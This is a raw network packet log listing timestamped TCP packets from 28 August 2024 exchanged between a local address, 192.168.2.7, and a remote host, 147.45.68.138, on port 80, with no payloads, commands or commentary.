Aug 28, 2024 22:55:57.763051033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763072014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763101101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763111115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763122082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763138056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763144016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763149977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763154984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763165951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763174057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763201952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763241053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763251066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763273001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763293982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763360977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763370037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763381004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763397932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763408899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763410091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763418913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763430119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763439894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763439894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763463974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763484955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763498068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763506889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763518095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763529062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763535023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763540983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763550997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763551950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763567924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763575077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763580084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763590097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763590097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.763616085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.763638973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847105026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847136021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847147942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847158909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847170115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847181082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847192049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847203970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847215891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847225904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847233057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847239017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847249985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847261906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847270966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847271919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847292900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847311020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847352028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847362041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847373009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847383976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847388029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847393990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847404957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847412109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847423077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847433090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847444057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847445011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847460032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847486019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847569942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847579956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847590923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847601891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847610950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847611904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847623110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.847632885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.847661018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848191977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848202944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848213911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848242044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848261118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848261118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848272085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848282099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848293066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848295927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848304033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848311901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848340034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848355055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848365068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848375082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848387003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848391056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848412991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848423958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848433971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848437071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848452091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848462105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848463058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848474026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848489046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848495007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848512888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848525047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848534107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848558903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848571062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848582029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848603010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848615885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848648071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848658085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848668098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848680019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848685980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848695040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848696947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848707914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848722935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848726988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848751068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848840952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848851919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848861933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848875999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848906994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848917961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848927021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848927975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.848941088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848963976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.848979950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849011898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849067926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849101067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849123955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849133968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849157095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849172115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849323988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849334002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849343061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849353075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849359035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849364996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849371910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849400043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849478960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849488974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849498987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849509954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849513054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849520922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849531889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849534988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849545956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849555969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849562883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849584103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849584103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849595070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849616051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849637985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849656105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849667072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849677086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849688053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849693060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849701881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849719048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849735975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849777937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849790096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849800110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849811077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849812984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849822998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849828959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849833012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849847078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849869967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849883080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849894047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.849916935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.849936962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850009918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850020885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850035906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850047112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850047112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850061893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850064993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850081921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850106955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850140095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850172997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850191116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850202084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850224018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850236893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850251913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850263119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850271940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850284100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850286007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850297928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850301981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850310087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850321054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850328922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850353956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850373030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850383043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850393057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.850409031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.850431919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.867367983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.872149944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054820061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054845095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054857016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054868937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054879904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054889917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054900885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.054913998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055011988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055011988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055011988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055179119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055190086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055200100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055211067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055222034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055222988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055234909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055243969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055247068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055259943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055268049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055277109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055299997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055481911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055493116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055504084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055525064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055533886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055661917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055674076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055684090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055695057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055702925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055706024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055716991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055725098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055727959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055740118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055747986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055751085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055763006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055768967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055768967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055773973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055795908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055807114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055808067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055821896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055833101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055846930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055862904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055881023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.055974007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055985928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.055994987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056005955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056015968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056018114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056036949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056058884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056170940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056183100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056193113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056205034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056210041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056216002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056226015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056226969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056238890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056250095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056252003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056267023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056289911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056359053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056370020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056380987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056391001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056405067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056417942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056441069 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056497097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056508064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056518078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056534052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056536913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056545973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056559086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056561947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056586981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056607008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056607962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056617975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056629896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056641102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056653976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056653976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056684971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056802988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056813955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056824923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056835890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056843996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.056847095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.056858063 CEST	80	49731	147.45.68.138	192.168.2.7
